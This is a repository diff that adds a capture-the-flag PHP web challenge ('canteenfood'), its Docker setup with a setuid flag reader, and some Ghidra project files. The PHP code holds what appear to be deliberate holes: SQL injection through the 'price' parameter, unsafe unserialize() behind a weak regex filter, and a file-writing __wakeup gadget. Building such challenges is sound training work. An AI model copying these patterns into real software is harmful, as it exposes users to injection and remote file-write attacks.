<SPLIT_NODE WIDTH="100" HEIGHT="100" DIVIDER_LOCATION="0" ORIENTATION="VERTICAL">
<SPLIT_NODE WIDTH="1621" HEIGHT="816" DIVIDER_LOCATION="148" ORIENTATION="VERTICAL">
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="Entropy" OWNER="EntropyPlugin" TITLE="Entropy" ACTIVE="false" GROUP="Header" INSTANCE_ID="3207819926581772885" />
<COMPONENT_INFO NAME="Overview" OWNER="OverviewPlugin" TITLE="Overview" ACTIVE="false" GROUP="Header" INSTANCE_ID="3207819926581772883" />
</COMPONENT_NODE>
<SPLIT_NODE WIDTH="3840" HEIGHT="2027" DIVIDER_LOCATION="143" ORIENTATION="HORIZONTAL">
<SPLIT_NODE WIDTH="549" HEIGHT="2027" DIVIDER_LOCATION="640" ORIENTATION="VERTICAL">
<SPLIT_NODE WIDTH="549" HEIGHT="1295" DIVIDER_LOCATION="502" ORIENTATION="VERTICAL">
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="Program Tree" OWNER="ProgramTreePlugin" TITLE="Program Trees" ACTIVE="true" GROUP="Default" INSTANCE_ID="3654990936035701178" />
</COMPONENT_NODE>
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="Symbol Tree" OWNER="SymbolTreePlugin" TITLE="Symbol Tree" ACTIVE="true" GROUP="Default" INSTANCE_ID="3654990936035701173" />
</COMPONENT_NODE>
</SPLIT_NODE>
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="DataTypes Provider" OWNER="DataTypeManagerPlugin" TITLE="Data Type Manager" ACTIVE="true" GROUP="Default" INSTANCE_ID="3654990945152020913" />
</COMPONENT_NODE>
</SPLIT_NODE>
<SPLIT_NODE WIDTH="3287" HEIGHT="2027" DIVIDER_LOCATION="785" ORIENTATION="VERTICAL">
<SPLIT_NODE WIDTH="1386" HEIGHT="638" DIVIDER_LOCATION="705" ORIENTATION="VERTICAL">
<SPLIT_NODE WIDTH="3287" HEIGHT="1588" DIVIDER_LOCATION="483" ORIENTATION="HORIZONTAL">
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="Listing" OWNER="CodeBrowserPlugin" TITLE="Listing: " ACTIVE="true" GROUP="Core" INSTANCE_ID="3654990944120222116" />
</COMPONENT_NODE>
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="Decompiler" OWNER="DecompilePlugin" TITLE="Decompiler" ACTIVE="true" GROUP="Default" INSTANCE_ID="3654990936035701179" />
<COMPONENT_INFO NAME="Bytes" OWNER="ByteViewerPlugin" TITLE="Bytes: No Program" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990936035701181" />
<COMPONENT_INFO NAME="Data Window" OWNER="DataWindowPlugin" TITLE="Defined Data" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990945519022496" />
<COMPONENT_INFO NAME="Defined Strings" OWNER="ViewStringsPlugin" TITLE="Defined Strings" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990945519022500" />
<COMPONENT_INFO NAME="Equates Table" OWNER="EquateTablePlugin" TITLE="Equates Table" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990944120222114" />
<COMPONENT_INFO NAME="External Programs" OWNER="ReferencesPlugin" TITLE="External Programs" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990944120222117" />
<COMPONENT_INFO NAME="Functions Window" OWNER="FunctionWindowPlugin" TITLE="Functions" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990944120222120" />
<COMPONENT_INFO NAME="Relocation Table" OWNER="RelocationTablePlugin" TITLE="Relocation Table" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990945519022499" />
</COMPONENT_NODE>
</SPLIT_NODE>
<SPLIT_NODE WIDTH="1386" HEIGHT="189" DIVIDER_LOCATION="495" ORIENTATION="HORIZONTAL">
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="Data Type Preview" OWNER="DataTypePreviewPlugin" TITLE="Data Type Preview" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990945011511733" />
</COMPONENT_NODE>
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="Virtual Disassembler - Current Instruction" OWNER="DisassembledViewPlugin" TITLE="Disassembled View" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990944120222113" />
</COMPONENT_NODE>
</SPLIT_NODE>
</SPLIT_NODE>
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="Console" OWNER="ConsolePlugin" TITLE="Console" ACTIVE="true" GROUP="Default" INSTANCE_ID="3654990936035701180" />
<COMPONENT_INFO NAME="Bookmarks" OWNER="BookmarkPlugin" TITLE="Bookmarks" ACTIVE="false" GROUP="Core.Bookmarks" INSTANCE_ID="3654990936035701177" />
</COMPONENT_NODE>
</SPLIT_NODE>
</SPLIT_NODE>
</SPLIT_NODE>
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="Function Call Trees" OWNER="CallTreePlugin" TITLE="Function Call Trees" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990936035701174" />
</COMPONENT_NODE>
</SPLIT_NODE>
<WINDOW_NODE X_POS="426" Y_POS="178" WIDTH="1033" HEIGHT="689">
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="Script Manager" OWNER="GhidraScriptMgrPlugin" TITLE="Script Manager" ACTIVE="false" GROUP="Script Group" INSTANCE_ID="3654990936035701175" />
</COMPONENT_NODE>
</WINDOW_NODE>
<WINDOW_NODE X_POS="423" Y_POS="144" WIDTH="927" HEIGHT="370">
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="Memory Map" OWNER="MemoryMapPlugin" TITLE="Memory Map" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990936035701156" />
</COMPONENT_NODE>
</WINDOW_NODE>
<WINDOW_NODE X_POS="383" Y_POS="7" WIDTH="1020" HEIGHT="1038">
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="Function Graph" OWNER="FunctionGraphPlugin" TITLE="Function Graph" ACTIVE="false" GROUP="Function Graph" INSTANCE_ID="3654990945519022501" />
</COMPONENT_NODE>
</WINDOW_NODE>
<WINDOW_NODE X_POS="550" Y_POS="206" WIDTH="655" HEIGHT="509">
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="Register Manager" OWNER="RegisterPlugin" TITLE="Register Manager" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990944120222119" />
</COMPONENT_NODE>
</WINDOW_NODE>
<WINDOW_NODE X_POS="287" Y_POS="186" WIDTH="1424" HEIGHT="666">
<SPLIT_NODE WIDTH="1408" HEIGHT="559" DIVIDER_LOCATION="573" ORIENTATION="HORIZONTAL">
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="Symbol Table" OWNER="SymbolTablePlugin" TITLE="Symbol Table" ACTIVE="false" GROUP="symbolTable" INSTANCE_ID="3654990945519022497" />
</COMPONENT_NODE>
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="Symbol References" OWNER="SymbolTablePlugin" TITLE="Symbol References" ACTIVE="false" GROUP="symbolTable" INSTANCE_ID="3654990945519022498" />
</COMPONENT_NODE>
</SPLIT_NODE>
</WINDOW_NODE>
<WINDOW_NODE X_POS="-1" Y_POS="-1" WIDTH="0" HEIGHT="0">
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="Checksum Generator" OWNER="ComputeChecksumsPlugin" TITLE="Checksum Generator" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990944120222115" />
</COMPONENT_NODE>
</WINDOW_NODE>
<WINDOW_NODE X_POS="-1" Y_POS="-1" WIDTH="0" HEIGHT="0">
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="Function Tags" OWNER="FunctionTagPlugin" TITLE="Function Tags" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990945152020914" />
</COMPONENT_NODE>
</WINDOW_NODE>
<WINDOW_NODE X_POS="-1" Y_POS="-1" WIDTH="0" HEIGHT="0">
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="Comment Window" OWNER="CommentWindowPlugin" TITLE="Comments" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990945152020927" />
</COMPONENT_NODE>
</WINDOW_NODE>
<WINDOW_NODE X_POS="-1" Y_POS="-1" WIDTH="0" HEIGHT="0">
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="Python" OWNER="InterpreterPanelPlugin" TITLE="Python" ACTIVE="false" GROUP="Default" INSTANCE_ID="3569487994865850806" />
</COMPONENT_NODE>
</WINDOW_NODE>
<WINDOW_NODE X_POS="0" Y_POS="0" WIDTH="0" HEIGHT="0">
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="BundleManager" OWNER="GhidraScriptMgrPlugin" TITLE="Bundle Manager" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654989415013944504" />
</COMPONENT_NODE>
</WINDOW_NODE>
<WINDOW_NODE X_POS="0" Y_POS="0" WIDTH="0" HEIGHT="0">
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="Function Call Graph" OWNER="FunctionCallGraphPlugin" TITLE="Function Call Graph" ACTIVE="false" GROUP="Function Call Graph" INSTANCE_ID="3654990945011511734" />
</COMPONENT_NODE>
</WINDOW_NODE>
<WINDOW_NODE X_POS="0" Y_POS="0" WIDTH="0" HEIGHT="0">
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="PyGhidra" OWNER="PyGhidra" TITLE="PyGhidra" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990945152020926" />
</COMPONENT_NODE>
</WINDOW_NODE>
<WINDOW_NODE X_POS="0" Y_POS="0" WIDTH="0" HEIGHT="0">
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="Jython" OWNER="Jython" TITLE="Jython" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990945152020915" />
</COMPONENT_NODE>
</WINDOW_NODE>
<WINDOW_NODE X_POS="0" Y_POS="0" WIDTH="0" HEIGHT="0">
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="Source Files and Transforms" OWNER="SourceFilesTablePlugin" TITLE="Source Files and Transforms" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990944120222118" />
</COMPONENT_NODE>
</WINDOW_NODE>
<WINDOW_NODE X_POS="0" Y_POS="0" WIDTH="0" HEIGHT="0">
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="Bundle Manager" OWNER="GhidraScriptMgrPlugin" TITLE="Bundle Manager" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990936035701176" />
</COMPONENT_NODE>
</WINDOW_NODE>
<WINDOW_NODE X_POS="547" Y_POS="289" WIDTH="639" HEIGHT="398">
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="Location References Provider" OWNER="LocationReferencesPlugin" TITLE="References to FUN_code_006a - 1 locations" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654493101173209946" />
</COMPONENT_NODE>
</WINDOW_NODE>
<WINDOW_NODE X_POS="283" Y_POS="268" WIDTH="874" HEIGHT="516">
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="Instruction Info" OWNER="ShowInstructionInfoPlugin" TITLE="Instruction Info: Address code:0340" ACTIVE="false" GROUP="Default" INSTANCE_ID="3653949728691516758" />
</COMPONENT_NODE>
</WINDOW_NODE>
<WINDOW_NODE X_POS="131" Y_POS="163" WIDTH="1178" HEIGHT="598">
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="Structure Editor" OWNER="DataTypeManagerPlugin" TITLE="Structure Editor - Elf32_Ehdr (GRID_WAVE_4X8_LangleyMicros.vr)" ACTIVE="false" GROUP="Default" INSTANCE_ID="3653801106509652768" />
</COMPONENT_NODE>
</WINDOW_NODE>
<WINDOW_NODE X_POS="418" Y_POS="324" WIDTH="604" HEIGHT="277">
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="References Editor " OWNER="ReferencesPlugin" TITLE="References Editor @ code:0034 (GRID_WAVE_4X8_LangleyMicros.vr)" ACTIVE="false" GROUP="Default" INSTANCE_ID="3653948643826398544" />
</COMPONENT_NODE>
</WINDOW_NODE>
<WINDOW_NODE X_POS="491" Y_POS="197" WIDTH="458" HEIGHT="531">
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="Operands" OWNER="TableServicePlugin" TITLE="Operand References for code:0045" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654130639604965206" />
</COMPONENT_NODE>
</WINDOW_NODE>
<WINDOW_NODE X_POS="0" Y_POS="0" WIDTH="0" HEIGHT="0">
<COMPONENT_NODE TOP_INFO="0">
<COMPONENT_INFO NAME="Jython" OWNER="InterpreterPanelPlugin" TITLE="Jython" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654989418595880114" />
</COMPONENT_NODE>
</WINDOW_NODE>
</ROOT_NODE>
<DATA_STATE>
<PLUGIN NAME="NavigationHistoryPlugin">
<XML NAME="HISTORY_LIST_0">
<SAVE_STATE>
<STATE NAME="CURRENT_LOC_INDEX" TYPE="int" VALUE="0" />
<STATE NAME="LOCATION_COUNT" TYPE="int" VALUE="0" />
<STATE NAME="NAV_ID" TYPE="long" VALUE="-1" />
</SAVE_STATE>
</XML>
<STATE NAME="LIST_COUNT" TYPE="int" VALUE="1" />
</PLUGIN>
<PLUGIN NAME="ProgramTreePlugin">
<STATE NAME="Current Viewname" TYPE="string" VALUE="Program Tree" />
<STATE NAME="NavigationToggleState" TYPE="boolean" VALUE="false" />
<STATE NAME="NumberOfGroupsProgram Tree" TYPE="int" VALUE="0" />
<STATE NAME="NumberOfViews" TYPE="int" VALUE="1" />
<STATE NAME="TreeName-0" TYPE="string" VALUE="Program Tree" />
</PLUGIN>
<PLUGIN NAME="DecompilePlugin">
<STATE NAME="INDEX" TYPE="int" VALUE="0" />
<STATE NAME="NAV_ID" TYPE="long" VALUE="3654990936035701179" />
<STATE NAME="Num Disconnected" TYPE="int" VALUE="0" />
<STATE NAME="Y_OFFSET" TYPE="int" VALUE="0" />
</PLUGIN>
<PLUGIN NAME="ByteViewerPlugin">
<STATE NAME="Block Column" TYPE="int" VALUE="0" />
<STATE NAME="Block Num" TYPE="int" VALUE="-1" />
<STATE NAME="Block Offset" TYPE="string" VALUE="0" />
<STATE NAME="Index" TYPE="int" VALUE="0" />
<STATE NAME="NAV_ID" TYPE="long" VALUE="3654990936035701181" />
<STATE NAME="Num Disconnected" TYPE="int" VALUE="0" />
<STATE NAME="X Offset" TYPE="int" VALUE="0" />
<STATE NAME="Y Offset" TYPE="int" VALUE="0" />
</PLUGIN>
<PLUGIN NAME="ProgramManagerPlugin">
<STATE NAME="NUM_PROGRAMS" TYPE="int" VALUE="0" />
</PLUGIN>
<PLUGIN NAME="FunctionGraphPlugin">
<SAVE_STATE NAME="COMPLEX_LAYOUT_NAME" TYPE="SaveState">
<COMPLEX_LAYOUT_NAME>
<STATE NAME="LAYOUT_CLASS_NAME" TYPE="string" VALUE="ghidra.app.plugin.core.functiongraph.graph.layout.DecompilerNestedLayoutProvider" />
<STATE NAME="LAYOUT_NAME" TYPE="string" VALUE="Nested Code Layout" />
</COMPLEX_LAYOUT_NAME>
</SAVE_STATE>
<STATE NAME="DISPLAY_POPUPS" TYPE="boolean" VALUE="true" />
<STATE NAME="DISPLAY_SATELLITE" TYPE="boolean" VALUE="true" />
<STATE NAME="DOCK_SATELLITE" TYPE="boolean" VALUE="true" />
<STATE NAME="DOCK_SATELLITE_POSITION" TYPE="string" VALUE="LOWER_RIGHT" />
<STATE NAME="Disconnected Count" TYPE="int" VALUE="0" />
<ENUM NAME="EDGE_HOVER_HIGHLIGHT" TYPE="enum" CLASS="ghidra.app.plugin.core.functiongraph.EdgeDisplayType" VALUE="ScopedFlowsFromVertex" />
<ENUM NAME="EDGE_SELECTION_HIGHLIGHT" TYPE="enum" CLASS="ghidra.app.plugin.core.functiongraph.EdgeDisplayType" VALUE="AllCycles" />
<STATE NAME="NAV_ID" TYPE="long" VALUE="3654990945519022501" />
</PLUGIN>
<PLUGIN NAME="CodeBrowserPlugin">
<STATE NAME="INDEX" TYPE="int" VALUE="0" />
<STATE NAME="NAV_ID" TYPE="long" VALUE="3654990944120222116" />
<STATE NAME="Num Disconnected" TYPE="int" VALUE="0" />
<STATE NAME="Y_OFFSET" TYPE="int" VALUE="0" />
</PLUGIN>
</DATA_STATE>
</RUNNING_TOOL>
</WORKSPACE>
</TOOL_MANAGER>
</PROJECT>

View File

@@ -0,0 +1,11 @@
<?xml version="1.0" encoding="UTF-8"?>
<FILE_INFO>
<BASIC_INFO>
<STATE NAME="CONTENT_TYPE" TYPE="string" VALUE="ProgramUserData" />
<STATE NAME="PARENT" TYPE="string" VALUE="/" />
<STATE NAME="FILE_ID" TYPE="string" VALUE="c0a8073ffc5121438189679041" />
<STATE NAME="FILE_TYPE" TYPE="int" VALUE="0" />
<STATE NAME="READ_ONLY" TYPE="boolean" VALUE="false" />
<STATE NAME="NAME" TYPE="string" VALUE="udf_c0a8073ffb8121240967914416" />
</BASIC_INFO>
</FILE_INFO>

View File

@@ -0,0 +1,11 @@
<?xml version="1.0" encoding="UTF-8"?>
<FILE_INFO>
<BASIC_INFO>
<STATE NAME="CONTENT_TYPE" TYPE="string" VALUE="ProgramUserData" />
<STATE NAME="PARENT" TYPE="string" VALUE="/" />
<STATE NAME="FILE_ID" TYPE="string" VALUE="c0a8073e6d1103660918149750" />
<STATE NAME="FILE_TYPE" TYPE="int" VALUE="0" />
<STATE NAME="READ_ONLY" TYPE="boolean" VALUE="false" />
<STATE NAME="NAME" TYPE="string" VALUE="udf_c0a8073dcc793952601231625" />
</BASIC_INFO>
</FILE_INFO>

View File

@@ -0,0 +1,5 @@
VERSION=1
/
00000002:udf_c0a8073ffb8121240967914416:c0a8073ffc5121438189679041
NEXT-ID:4
MD5:d41d8cd98f00b204e9800998ecf8427e

View File

@@ -0,0 +1,6 @@
VERSION=1
/
00000004:udf_c0a8073dcc793952601231625:c0a8073e6d1103660918149750
00000002:udf_c0a8073ffb8121240967914416:c0a8073ffc5121438189679041
NEXT-ID:5
MD5:d41d8cd98f00b204e9800998ecf8427e

View File

@@ -0,0 +1,2 @@
IADD:00000004:/udf_c0a8073dcc793952601231625
IDSET:/udf_c0a8073dcc793952601231625:c0a8073e6d1103660918149750

View File

@@ -0,0 +1,4 @@
VERSION=1
/
NEXT-ID:0
MD5:d41d8cd98f00b204e9800998ecf8427e

View File

@@ -0,0 +1,4 @@
VERSION=1
/
NEXT-ID:0
MD5:d41d8cd98f00b204e9800998ecf8427e

View File

@@ -0,0 +1,49 @@
FROM debian:bullseye-slim@sha256:6344a6747740d465bff88e833e43ef881a8c4dd51950dba5b30664c93f74cbef
# Setup user
RUN useradd www
# Install system packeges
RUN apt-get update && apt-get install -y supervisor nginx lsb-release mariadb-server mariadb-client wget gcc
# Add repos
RUN wget -O /etc/apt/trusted.gpg.d/php.gpg https://packages.sury.org/php/apt.gpg
RUN echo "deb https://packages.sury.org/php/ bullseye main" | tee /etc/apt/sources.list.d/php.list
# Install PHP dependencies
RUN apt update && apt install -y php7.1-fpm php7.1-mysql
# Configure php-fpm and nginx
COPY config/fpm.conf /etc/php/7.1/fpm/php-fpm.conf
COPY config/supervisord.conf /etc/supervisord.conf
COPY config/nginx.conf /etc/nginx/nginx.conf
COPY config/mariadb.conf /etc/mysql/mariadb.conf.d/50-server.cnf
# Copy challenge files
COPY challenge /www
# Copy flag
COPY flag.txt /
COPY logs.txt /
# Add readflag binary and prepare flag
COPY readflag.c /
RUN gcc /readflag.c -o /readflag \
&& chown root:root /readflag \
&& chmod +s /readflag \
&& rm /readflag.c \
&& chmod 400 /flag.txt
# Setup permissions
RUN chown -R www:www /www /var/lib/nginx
RUN chown www:www /logs.txt
RUN apt-get remove gcc wget -y
# Expose the port nginx is listening on
EXPOSE 80
# Start db and start supervisord
COPY --chown=root entrypoint.sh /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]

View File

@@ -0,0 +1,4 @@
#!/bin/bash
docker rm -f canteenfood
docker build -t canteenfood . && \
docker run --name=canteenfood --rm -p 127.0.0.1:1337:80 -it canteenfood

View File

@@ -0,0 +1,4 @@
#!/bin/bash
docker rm -f canteenfood_patched
docker build -t canteenfood_patched . && \
docker run --name=canteenfood_patched -d --rm -p 127.0.0.1:1338:80 -it canteenfood_patched

View File

@@ -0,0 +1,21 @@
<?php
class Database {
private static $db;
private $connection;
private function __construct() {
$this->connection = new MySQLi('127.0.0.1', $_SERVER['DB_USER'], $_SERVER['DB_PASS'], $_SERVER['DB_NAME']);
}
function __destruct() {
$this->connection->close();
}
public static function getConnection() {
if (self::$db == null) {
self::$db = new Database();
}
return self::$db->connection;
}
}

View File

@@ -0,0 +1,114 @@
<?php
// From makelarisjr & makelaris.
class Routing
{
public $rts = [];
public function new($method, $route, $controller)
{
$r = [
'method' => $method,
'route' => $route,
];
if (is_callable($controller))
{
$r['controller'] = $controller;
$this->rts[] = $r;
}
else if (strpos($controller, '@'))
{
$split = explode('@', $controller);
$class = $split[0];
$function = $split[1];
$r['controller'] = [
'class' => $class,
'function' => $function
];
$this->rts[] = $r;
}
else
{
throw new Exception('Invalid controller');
}
}
public function match()
{
foreach($this->rts as $route)
{
if ($this->_match_route($route['route']))
{
if ($route['method'] != $_SERVER['REQUEST_METHOD'])
{
$this->abort(405);
}
$params = $this->getRouteParameters($route['route']);
if (is_array($route['controller']))
{
$controller = $route['controller'];
$class = $controller['class'];
$function = $controller['function'];
return (new $class)->$function($this,$params);
}
return $route['controller']($this,$params);
}
}
$this->abort(404);
}
public function _match_route($route)
{
$uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?'));
$route = explode('/', $route);
if (count($uri) != count($route)) return false;
foreach ($route as $key => $value)
{
if ($uri[$key] != $value && $value != '{param}') return false;
}
return true;
}
public function getRouteParameters($route)
{
$params = [];
$uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?'));
$route = explode('/', $route);
foreach ($route as $key => $value)
{
if ($uri[$key] == $value) continue;
if ($value == '{param}')
{
if ($uri[$key] == '')
{
$this->abort(404);
}
$params[] = $uri[$key];
}
}
return $params;
}
public function abort($code)
{
http_response_code($code);
exit;
}
public function view($view, $data = [])
{
extract($data);
include __DIR__."/views/${view}.php";
exit;
}
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 MiB

View File

@@ -0,0 +1,14 @@
<?php
class AdminController
{
public function admin($router)
{
if($_SESSION["admin"] === false) {
return $router->view('admin', ['logs' => "Only access allowed for canteen admin!!!"]);
} else {
$admin = new AdminModel("/logs.txt","");
return $router->view('admin', ['logs' => $admin->read_logs("/logs.txt")]);
}
}
}

View File

@@ -0,0 +1,12 @@
<?php
class CanteenController
{
public function index($router)
{
$food = new CanteenModel(0);
if(isset($_GET['price'])) {
return $router->view('index', ['food' => $food->filterFood($_GET['price'])]);
}
return $router->view('index', ['food' => $food->getFood()]);
}
}

View File

@@ -0,0 +1,20 @@
<?php
session_start();
$_SESSION["admin"] = false;
include_once "controllers/AdminController.php";
include_once "controllers/CanteenController.php";
include_once "models/AdminModel.php";
include_once "models/CanteenModel.php";
include_once "Routing.php";
include_once "Database.php";
$router = new Routing();
$router->new('GET', '/', 'CanteenController@index');
$router->new('GET', '/admin', 'AdminController@admin');
$response = $router->match();
die($response);

View File

@@ -0,0 +1,32 @@
<?php
if($_SESSION["admin"] === false){
return "You're not welcome. This part is only for canteen workers.";
}
class AdminModel {
public $filename;
public $logcontent;
public function __construct($filename, $content) {
$this->filename = $filename;
$this->logcontent = $content;
file_put_contents($filename, $content, FILE_APPEND);
}
public function __wakeup() {
new LogFile($this->filename, $this->logcontent);
}
public static function read_logs($log) {
$contents = file_get_contents($log);
return $contents;
}
}
class LogFile {
public function __construct($filename, $content) {
file_put_contents($filename, $content, FILE_APPEND);
}
}

View File

@@ -0,0 +1,71 @@
<?php
class CanteenModel {
public function getFood() {
$log_entry = 'Access at: '. date('Y-m-d H:i:s') . "<br>\n";
$logger = new AdminModel("/logs.txt", $log_entry);
$db = Database::getConnection();
$sql = "SELECT * FROM food";
if ($result = $db->query($sql)) {
$result_string = "";
while($obj = $result->fetch_object()){
if($obj->name !== '') {
$result_string .= $obj->name . ' for ' . $obj->price . '€ <br>';
$db->query("UPDATE food SET price = " . (rand(0, 100000) / 100) . " WHERE name = \"" . $obj->name. "\"");
}
if($obj->oldvalue !== '') {
$dec_result = base64_decode($obj->oldvalue);
if (preg_match_all('/O:\d+:"([^"]*)"/', $dec_result, $matches)) {
return 'Not allowed';
}
$uns_result = unserialize($dec_result);
$result_string .= $uns_result[0] . ' for ' . $uns_result[1] . '€<br>';
$new_value = [$uns_result[0], (rand(0, 100000) / 100)];
$db->query("UPDATE food SET oldvalue = \"" . base64_encode(serialize($new_value)) . "\" WHERE oldvalue = \"" . $obj->oldvalue . "\"");
}
}
return $result_string;
}
return 'No food this week - we\'re closed';
}
public function filterFood($price_param) {
$log_entry = 'Access at: '. date('Y-m-d H:i:s') . "<br>\n";
$logger = new AdminModel("../logs.txt", $log_entry);
$db = Database::getConnection();
$sql = "SELECT * FROM food where price < " . $price_param;
error_log(print_r($sql, true));
if ($result = $db->query($sql)) {
error_log(print_r($result, true));
$result_string = "";
while($obj = $result->fetch_object()){
if($obj->name !== '') {
$result_string .= $obj->name . ' for ' . $obj->price . '€ <br>';
}
if($obj->oldvalue !== '') {
$dec_result = base64_decode($obj->oldvalue);
if (preg_match_all('/O:\d+:"([^"]*)"/', $dec_result, $matches)) {
return 'Not allowed';
}
$uns_result = unserialize($dec_result);
if ($uns_result[1] < $price_param) {
$result_string .= $uns_result[0] . ' for ' . $uns_result[1] . '€<br>';
}
}
}
if($result_string === "") {
return 'Everything is too expensive for you this week, Sir/Madame. We\'re sorry!';
}
return $result_string;
}
return 'Everything is too expensive for you this week, Sir/Madame. We\'re sorry!';
}
}

View File

@@ -0,0 +1,67 @@
body {
font-family: 'Press Start 2P', cursive;
min-width: 260px;
color: #000000;
text-align: center;
background-color: #006400;
}
.btn-block {
width: 93%;
display: inline-block;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.form-group {
margin-top: 55px !important;
}
#main {
margin: 30px auto;
padding: 15px;
border: 0px solid;
border-radius: 5px;
background: #556b2f;
}
#title {
display: inline-flex;
}
#title i {
color: #D34156;
font-size: 50px;
margin: 0px 40px;
}
#time {
color: #ff0a94;
}
h2 {
color: #000000;
}
img {
width: 550px;
margin-top: 1.4% !important;
height: 560px;
padding: 20px;
max-width: 100%;
display: block;
height: auto;
margin: auto;
object-fit: cover;
overflow: hidden;
}
img:hover {
animation: dance 1.6s;
animation-iteration-count: infinite;
}
.pulse{
animation: pound 0.84s infinite alternate;
-webkit-animation: pound 0.84s infinite alternate;
}

View File

@@ -0,0 +1,16 @@
<html>
<head>
<meta name='author' content='poory'>
<meta name='viewport' content='width=device-width, initial-scale=1, shrink-to-fit=no'>
<title>Canteen Plan</title>
<link rel='stylesheet' href='//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css' integrity='sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm' crossorigin='anonymous'>
<link rel='stylesheet' href='//cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.2/css/all.min.css' integrity='sha512-HK5fgLBL+xu6dm/Ii3z4xhlSUyZgTT9tuc/hSrtw6uzJOvgRr2a9jyxxT1ely+B+xFAmJKVSTbpM/CuL7qxO8w==' crossorigin='anonymous' />
<link rel='stylesheet' href='/static/css/main.css' />
<link rel='preconnect' href='//fonts.gstatic.com'>
<link link='preload' href='//fonts.googleapis.com/css2?family=Press+Start+2P&display=swap' rel='stylesheet'>
<link rel='icon' href='/assets/favicon.png' />
</head>
<body>
<span id='logs'> <?= $logs ?></span>
</body>
</html>

View File

@@ -0,0 +1,36 @@
<html>
<head>
<meta name='author' content='poory'>
<meta name='viewport' content='width=device-width, initial-scale=1, shrink-to-fit=no'>
<title>Canteen Plan</title>
<link rel='stylesheet' href='//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css' integrity='sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm' crossorigin='anonymous'>
<link rel='stylesheet' href='//cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.2/css/all.min.css' integrity='sha512-HK5fgLBL+xu6dm/Ii3z4xhlSUyZgTT9tuc/hSrtw6uzJOvgRr2a9jyxxT1ely+B+xFAmJKVSTbpM/CuL7qxO8w==' crossorigin='anonymous' />
<link rel='stylesheet' href='/static/css/main.css' />
<link rel='preconnect' href='//fonts.gstatic.com'>
<link link='preload' href='//fonts.googleapis.com/css2?family=Press+Start+2P&display=swap' rel='stylesheet'>
</head>
<body>
<a class='fas fa-heart pulse' href="/admin">admin</a>
<div id='main' class='container'>
<h1 id='title'>
<i class='fas fa-heart pulse'></i> <b>Canteen Plan</b> <i class='fas fa-heart pulse'></i>
</h1>
<br>
<div id='img-div'>
<img id='image' src='/assets/food.gif' alt='yuuuuuuummy'> <!-- Not modified and taken from https://commons.wikimedia.org/wiki/File:Foods_-_Idil_Keysan_-_Wikimedia_Giphy_stickers_2019.gif . Thanks -->
<br>
</div>
<div id='searchfield'>
